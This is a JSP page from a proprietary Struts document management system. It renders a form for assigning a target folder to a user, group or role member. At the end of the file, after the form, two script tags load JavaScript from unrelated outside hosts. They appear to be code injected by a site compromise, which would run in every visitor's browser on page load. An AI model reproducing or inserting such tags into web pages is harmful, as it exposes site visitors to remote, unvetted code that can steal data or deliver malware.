<%
/*
 * @(#)EditDmsGroupRoleFolder.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsGroupRoleFolder.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/11/2004
    @version          $Revision: 1.5.8.3 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsGroupRoleFolderForm" scope="request" class="com.dcivision.dms.web.MaintDmsGroupRoleFolderForm"/>

<%

  Integer rootID       = TextUtility.parseIntegerObj(maintDmsGroupRoleFolderForm.getRootID());
  Integer parentID     = TextUtility.parseIntegerObj(maintDmsGroupRoleFolderForm.getParentID());

  Integer targetRootID =  maintDmsGroupRoleFolderForm.getTargetRootID()==null? rootID : TextUtility.parseIntegerObj(maintDmsGroupRoleFolderForm.getTargetRootID());
  Integer destinationID = maintDmsGroupRoleFolderForm.getDestinationID()==null? parentID : TextUtility.parseIntegerObj(maintDmsGroupRoleFolderForm.getDestinationID());
  String location=(String)request.getAttribute("location");
  String strTitle = "-Group/Role Folder Setup";
%>
<script language="javascript">
<!--
function OpCustSave(){
  if(document.maintDmsGroupRoleFolderForm.destinationPath.value==""){
     alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.target_folder")%>' />');
	 return true;
  }
  return OpSave();
}

-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/MaintDmsGroupRoleFolder" method="POST">

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<!--TO FIX: not implemented yet-->
<html:hidden property="memberID"/>
<html:hidden property="memberType"/>
<html:hidden property="documentID"/> 
<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/><%=strTitle%></font>
  <layout:returnButton>
  ListDmsGroupRoleFolder.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
  </layout:returnButton>
</layout:titleFormat>
<!-- TODO: Page Title -->
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<!-- Search Panel End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- Table Heading Begin -->
<table cellpadding="0" cellspacing="2" border="0" width="100%">
  <tr>
    <td class="formLabelSmallMan" width="20%"><bean:message key='dms.label.target_folder'/>:</td>
    <td class="formFieldSmall">
    <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsGroupRoleFolderForm.getNavMode())){%>
    <dms:folderPicker property="destinationPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID.toString()%>" hiddenParentIDValue="<%=destinationID.toString()%>" size="50" allowCompoundDoc="false" allowPaperDoc="false"/></td>
    <%}else{%>
    <%=location%>
    <html:hidden property="destinationPath"/>
    <html:hidden property="targetRootID"/>
    <html:hidden property="destinationID"/>
    <%}%>
  </tr>
  <tr>
    <td class="formLabelSmall" align="left" width="20%"><bean:message key="user.columnheader.member_name"/>:</td>
    <td class="formFieldSmall"><bean:write name="maintDmsGroupRoleFolderForm" property="memberName"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="20%"><bean:message key="user.columnheader.member_type"/>:</td>
    <td class="formFieldSmall">
    <logic:equal name='maintDmsGroupRoleFolderForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_USER%>'>
      <bean:message key='user.label.member_type_user'/>
    </logic:equal>
    <logic:equal name='maintDmsGroupRoleFolderForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_GROUP%>'>
      <bean:message key='user.label.member_type_group'/>
    </logic:equal>
    <logic:equal name='maintDmsGroupRoleFolderForm' property='memberType' value='<%=UserMember.MEMBER_TYPE_ROLE%>'>
      <bean:message key='user.label.member_type_role'/>
    </logic:equal>
    </td>
  </tr>
</table>
</td></tr></table>
<P>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
 <td align="center">
 <%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintDmsGroupRoleFolderForm.getNavMode())){%>
 <html:standardButton label="common.label.save" onClick="return opCustSave()"/>
 <%}else{%>
   <html:permissionButton label="common.label.edit" right="E" link="MaintDmsGroupRoleFolder.do?navMode=E&ID=${maintDmsGroupRoleFolderForm.ID}"/>
 <%}%></td>
</tr>
</table></P>

<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>